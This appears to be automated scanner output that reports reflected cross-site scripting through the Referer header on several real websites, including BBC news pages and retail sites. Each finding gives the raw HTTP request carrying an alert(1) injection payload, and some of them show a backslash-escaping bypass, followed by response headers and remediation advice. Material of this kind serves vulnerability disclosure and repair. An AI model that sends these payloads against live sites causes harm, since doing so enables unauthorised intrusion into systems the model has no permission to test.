This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/uk-england-lancashire-12007100 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=be77c'-alert(1)-'2ce188aab14
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:07 GMT Keep-Alive: timeout=10, max=765 Expires: Thu, 16 Dec 2010 19:28:07 GMT Connection: close Content-Length: 61931
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 53f24'-alert(1)-'f304acde57e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/uk-england-london-11990646 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=53f24'-alert(1)-'f304acde57e
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:06 GMT Keep-Alive: timeout=10, max=798 Expires: Thu, 16 Dec 2010 19:28:06 GMT Connection: close Content-Length: 63885
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 303cc'-alert(1)-'35ec21c9b25 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/uk-scotland-12000741 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=303cc'-alert(1)-'35ec21c9b25
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:15 GMT Keep-Alive: timeout=10, max=798 Expires: Thu, 16 Dec 2010 19:28:15 GMT Connection: close Content-Length: 73257
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d8f8a'-alert(1)-'cdad15bdd59 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/world-africa-12007523 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=d8f8a'-alert(1)-'cdad15bdd59
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:57 GMT Keep-Alive: timeout=10, max=697 Expires: Thu, 16 Dec 2010 19:27:57 GMT Connection: close Content-Length: 63738
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 755e0'-alert(1)-'48e3cc7120b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/world-europe-11342247 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=755e0'-alert(1)-'48e3cc7120b
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:05 GMT Keep-Alive: timeout=10, max=735 Expires: Thu, 16 Dec 2010 19:28:05 GMT Connection: close Content-Length: 63579
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8dad5'-alert(1)-'dd33a491687 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/world-europe-12011212 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=8dad5'-alert(1)-'dd33a491687
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:02 GMT Keep-Alive: timeout=10, max=776 Expires: Thu, 16 Dec 2010 19:28:02 GMT Connection: close Content-Length: 57121
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c49c8'-alert(1)-'efc9e7f26ef was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/world-europe-12013182 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=c49c8'-alert(1)-'efc9e7f26ef
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:59 GMT Keep-Alive: timeout=10, max=785 Expires: Thu, 16 Dec 2010 19:27:59 GMT Connection: close Content-Length: 56169
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 67f1f'-alert(1)-'72d5eda32db was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/world-middle-east-12011660 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=67f1f'-alert(1)-'72d5eda32db
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:59 GMT Keep-Alive: timeout=10, max=787 Expires: Thu, 16 Dec 2010 19:27:59 GMT Connection: close Content-Length: 56367
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6363a'-alert(1)-'a497e3d73a6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/world-south-asia-12006092 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=6363a'-alert(1)-'a497e3d73a6
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:02 GMT Keep-Alive: timeout=10, max=740 Expires: Thu, 16 Dec 2010 19:28:02 GMT Connection: close Content-Length: 60534
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ebd52'-alert(1)-'dda1ef52cbd was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/world-us-canada-12012762 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=ebd52'-alert(1)-'dda1ef52cbd
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:56 GMT Keep-Alive: timeout=10, max=784 Expires: Thu, 16 Dec 2010 19:27:56 GMT Connection: close Content-Length: 66889
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload feae0'-alert(1)-'29986959de6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/world-us-canada-12013186 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=feae0'-alert(1)-'29986959de6
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:54 GMT Keep-Alive: timeout=10, max=756 Expires: Thu, 16 Dec 2010 19:27:54 GMT Connection: close Content-Length: 53297
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fdcde\"%3balert(1)//64278522827 was submitted in the Referer HTTP header. This input was echoed as fdcde\\";alert(1)//64278522827 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET / HTTP/1.1 Host: www.berries.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=fdcde\"%3balert(1)//64278522827
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9171d\"%3balert(1)//02962bf68af was submitted in the Referer HTTP header. This input was echoed as 9171d\\";alert(1)//02962bf68af in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /default.aspx HTTP/1.1 Host: www.berries.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=9171d\"%3balert(1)//02962bf68af
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 71ec3\"%3balert(1)//c789b2abbf6 was submitted in the Referer HTTP header. This input was echoed as 71ec3\\";alert(1)//c789b2abbf6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET / HTTP/1.1 Host: www.cherrymoonfarms.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=71ec3\"%3balert(1)//c789b2abbf6
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 579e9\"%3balert(1)//2eeb5106408 was submitted in the Referer HTTP header. This input was echoed as 579e9\\";alert(1)//2eeb5106408 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /default.aspx HTTP/1.1 Host: www.cherrymoonfarms.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=579e9\"%3balert(1)//2eeb5106408
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1007"><a>fe2b2cebad1 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /webapp/wcs/stores/servlet/LLBLoginRedirectCmd HTTP/1.1 Host: www.llbean.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: Foresee_orderThanks=0; llbgn=507175-GN1~1~0~Relevance~-1~-1~^919*Holiday Gift Shop^507175*Gifts for $30 & Under; s_cc=true; LLBNavURL=85|/llb/shop/507175?qs=3037432-F10_1122_BBCO_HLDY|0|http://www.llbean.com/llb/shop/507175?qs=3037432-F10_1122_BBCO_HLDY; TS6e35ec=cad4b6761140733ecbb1769a86989e8b69b786e118c020874d0a6d57; LLBEAN=3037432-F10_1122_BBCO_HLDY:1:1292528983:1292528983:A0A64C91500002CF24D0A6D574FDD:1292528983:; s_vi=[CS]v1|268536AB8515AB91-600001746028C850[CE]; s_sq=%5B%5BB%5D%5D; Foresee_bagFlag=0; FSRCookie=FSRsection=Browse||currentURL=http%3A//www.llbean.com/llb/shop/507175%3Fqs%3D3037432-F10_1122_BBCO_HLDY||ForeseeLoyalty=1; Foresee_visitorID=A0A64C91500002CF24D0A6D574FDD; Referer: http://www.google.com/search?hl=en&q=a1007"><a>fe2b2cebad1
Response
HTTP/1.1 200 OK Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Pragma: No-cache Cache-Control: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa CONo OUR DELa TRo IND PHY ONL UNI PUR FIN COM NAV DEM STA", policyref="/w3c/p3p.xml" Content-Type: text/html; charset=iso-8859-1 Content-Language: en-US Date: Thu, 16 Dec 2010 20:04:50 GMT Content-Length: 3686 Connection: close Set-Cookie: JSESSIONID=0000Q0UepHrGxsnJKHdM9J1FuoF:153se8jg0; Path=/ Set-Cookie: TS6e35ec=8b1e09364044296c9fa16c9c67c429cb69b786e118c020874d0a70e2; Path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cf382\"%3balert(1)//f6c1d92f3a8 was submitted in the Referer HTTP header. This input was echoed as cf382\\";alert(1)//f6c1d92f3a8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
